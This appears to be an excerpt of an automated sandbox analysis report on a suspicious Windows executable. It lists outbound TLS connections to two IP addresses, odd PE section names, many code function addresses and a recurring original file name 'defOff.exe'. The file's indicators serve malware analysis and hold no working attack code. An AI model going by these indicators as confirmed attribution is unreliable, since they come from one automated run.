Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50022 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6C5D2	0_2_05D6C5D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB05CA	0_2_05DB05CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D975F9	0_2_05D975F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D89DEB	0_2_05D89DEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB2D98	0_2_05DB2D98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7F58E	0_2_05D7F58E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9FD83	0_2_05D9FD83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D83DA5	0_2_05D83DA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAA55B	0_2_05DAA55B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D80D5E	0_2_05D80D5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D67D5E	0_2_05D67D5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D92D66	0_2_05D92D66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D81510	0_2_05D81510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6ED30	0_2_05D6ED30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6953B	0_2_05D6953B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8952B	0_2_05D8952B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D914D9	0_2_05D914D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7DCDB	0_2_05D7DCDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA04CB	0_2_05DA04CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9ACC1	0_2_05D9ACC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D96CF9	0_2_05D96CF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DABCF2	0_2_05DABCF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA24F6	0_2_05DA24F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAFCF4	0_2_05DAFCF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6F490	0_2_05D6F490
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA6491	0_2_05DA6491
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D90C96	0_2_05D90C96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D91C88	0_2_05D91C88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D75CB0	0_2_05D75CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D81CB7	0_2_05D81CB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8C44C	0_2_05D8C44C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D71441	0_2_05D71441
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D88C46	0_2_05D88C46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA1475	0_2_05DA1475
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7EC61	0_2_05D7EC61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB5C13	0_2_05DB5C13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA4C16	0_2_05DA4C16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB1415	0_2_05DB1415
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6FC06	0_2_05D6FC06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7340F	0_2_05D7340F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D94439	0_2_05D94439
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9243E	0_2_05D9243E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAF435	0_2_05DAF435
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB1C34	0_2_05DB1C34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAD42C	0_2_05DAD42C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7C7D1	0_2_05D7C7D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D71FDA	0_2_05D71FDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DACFC8	0_2_05DACFC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6D7C1	0_2_05D6D7C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6A7C9	0_2_05D6A7C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D73FF0	0_2_05D73FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D947F3	0_2_05D947F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D937F4	0_2_05D937F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB4FEB	0_2_05DB4FEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB5790	0_2_05DB5790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8BF96	0_2_05D8BF96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9DF89	0_2_05D9DF89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D98783	0_2_05D98783
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8AFBC	0_2_05D8AFBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA6FB3	0_2_05DA6FB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7AFA7	0_2_05D7AFA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAD752	0_2_05DAD752
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB0F41	0_2_05DB0F41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D75F4A	0_2_05D75F4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB3F44	0_2_05DB3F44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB1F7E	0_2_05DB1F7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6AF6A	0_2_05D6AF6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D84F10	0_2_05D84F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6DF0D	0_2_05D6DF0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D74F0C	0_2_05D74F0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D82705	0_2_05D82705
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAEF3B	0_2_05DAEF3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8A724	0_2_05D8A724
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9CF25	0_2_05D9CF25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6BEDA	0_2_05D6BEDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D90ED7	0_2_05D90ED7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA5ECB	0_2_05DA5ECB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7BEC0	0_2_05D7BEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D866F9	0_2_05D866F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9D6F6	0_2_05D9D6F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D78694	0_2_05D78694
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA3694	0_2_05DA3694
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8FE97	0_2_05D8FE97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8568E	0_2_05D8568E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8EEB9	0_2_05D8EEB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D78EBC	0_2_05D78EBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D996AA	0_2_05D996AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D966A1	0_2_05D966A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAC6A3	0_2_05DAC6A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D70EA8	0_2_05D70EA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8D65B	0_2_05D8D65B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9BE41	0_2_05D9BE41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9C646	0_2_05D9C646
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D68E7E	0_2_05D68E7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA0E6B	0_2_05DA0E6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7FE17	0_2_05D7FE17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8761A	0_2_05D8761A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8360D	0_2_05D8360D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7660D	0_2_05D7660D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6CE37	0_2_05D6CE37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9EE32	0_2_05D9EE32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D72639	0_2_05D72639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D79E38	0_2_05D79E38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D5DE21	0_2_05D5DE21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D76E2D	0_2_05D76E2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D841C9	0_2_05D841C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D809CF	0_2_05D809CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6B9FC	0_2_05D6B9FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA29EC	0_2_05DA29EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7B9EE	0_2_05D7B9EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D831E6	0_2_05D831E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D99990	0_2_05D99990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8398B	0_2_05D8398B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA6981	0_2_05DA6981
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6E9A0	0_2_05D6E9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D969A4	0_2_05D969A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D92958	0_2_05D92958
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D70955	0_2_05D70955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7315B	0_2_05D7315B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9E940	0_2_05D9E940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D81143	0_2_05D81143
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAF947	0_2_05DAF947
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA0978	0_2_05DA0978
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D81976	0_2_05D81976
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8C96B	0_2_05D8C96B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA211D	0_2_05DA211D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D98113	0_2_05D98113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D70122	0_2_05D70122
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA192C	0_2_05DA192C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9A8DE	0_2_05D9A8DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7E0C0	0_2_05D7E0C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D698CD	0_2_05D698CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9B0FE	0_2_05D9B0FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D820E9	0_2_05D820E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D920E6	0_2_05D920E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D68897	0_2_05D68897
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB3098	0_2_05DB3098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA9094	0_2_05DA9094
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB3895	0_2_05DB3895
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D89888	0_2_05D89888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB1086	0_2_05DB1086
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D96087	0_2_05D96087
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAF084	0_2_05DAF084
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7F0A9	0_2_05D7F0A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6F056	0_2_05D6F056
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7B856	0_2_05D7B856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6E053	0_2_05D6E053
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB004D	0_2_05DB004D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9F878	0_2_05D9F878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAB870	0_2_05DAB870
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D97060	0_2_05D97060
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8B863	0_2_05D8B863
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D67819	0_2_05D67819
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA580D	0_2_05DA580D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA8804	0_2_05DA8804
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7D038	0_2_05D7D038
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA302E	0_2_05DA302E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6F82C	0_2_05D6F82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8DBD1	0_2_05D8DBD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D82BC8	0_2_05D82BC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D683C9	0_2_05D683C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8ABFF	0_2_05D8ABFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6A3FE	0_2_05D6A3FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D94BF1	0_2_05D94BF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DACBF1	0_2_05DACBF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA53E9	0_2_05DA53E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8E3E3	0_2_05D8E3E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA7BE5	0_2_05DA7BE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6AB90	0_2_05D6AB90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D93391	0_2_05D93391
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9D38C	0_2_05D9D38C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA23B2	0_2_05DA23B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DADBA8	0_2_05DADBA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D97BAC	0_2_05D97BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D84B5C	0_2_05D84B5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D95B4D	0_2_05D95B4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6734F	0_2_05D6734F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7AB67	0_2_05D7AB67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA9B62	0_2_05DA9B62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D90312	0_2_05D90312
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D74B0A	0_2_05D74B0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA3B32	0_2_05DA3B32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6C324	0_2_05D6C324
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D83B2C	0_2_05D83B2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7A32D	0_2_05D7A32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB4320	0_2_05DB4320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9F326	0_2_05D9F326
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7C2D7	0_2_05D7C2D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D85ADE	0_2_05D85ADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9FACC	0_2_05D9FACC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D802FB	0_2_05D802FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6B2FD	0_2_05D6B2FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6CAE1	0_2_05D6CAE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA72E2	0_2_05DA72E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8D2E6	0_2_05D8D2E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA429E	0_2_05DA429E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA829D	0_2_05DA829D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB5294	0_2_05DB5294
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D95285	0_2_05D95285
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D98AB0	0_2_05D98AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8F2B4	0_2_05D8F2B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DB22B6	0_2_05DB22B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D762A0	0_2_05D762A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8FAA2	0_2_05D8FAA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7D25E	0_2_05D7D25E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D86251	0_2_05D86251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9A257	0_2_05D9A257
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D77258	0_2_05D77258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D66A40	0_2_05D66A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D75240	0_2_05D75240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7E249	0_2_05D7E249
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9CA78	0_2_05D9CA78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D69272	0_2_05D69272
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D76A71	0_2_05D76A71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D78266	0_2_05D78266
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D6D265	0_2_05D6D265
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DAC26C	0_2_05DAC26C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9921D	0_2_05D9921D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D9321E	0_2_05D9321E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D7EA02	0_2_05D7EA02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D8DA38	0_2_05D8DA38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D68230	0_2_05D68230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D71A2F	0_2_05D71A2F

Source: file.exe, 00000000.00000003.2420894411.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380043483.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384562112.000000000599F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385567823.00000000058C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382952953.00000000057D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384832769.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389108586.000000000590E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385674507.00000000059BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388442467.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391771793.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380602593.000000000591E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382472069.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2582742277.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384189473.00000000058BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387013733.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382857138.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382378250.0000000005892000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383228938.00000000057D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389276668.00000000057D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378368389.00000000055D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2384311106.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2378679158.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2383928347.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380846912.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2583085606.0000000005D56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388621379.00000000058FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2380440503.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2382568593.00000000057DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385761370.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2385461938.00000000057D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388916221.00000000057DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
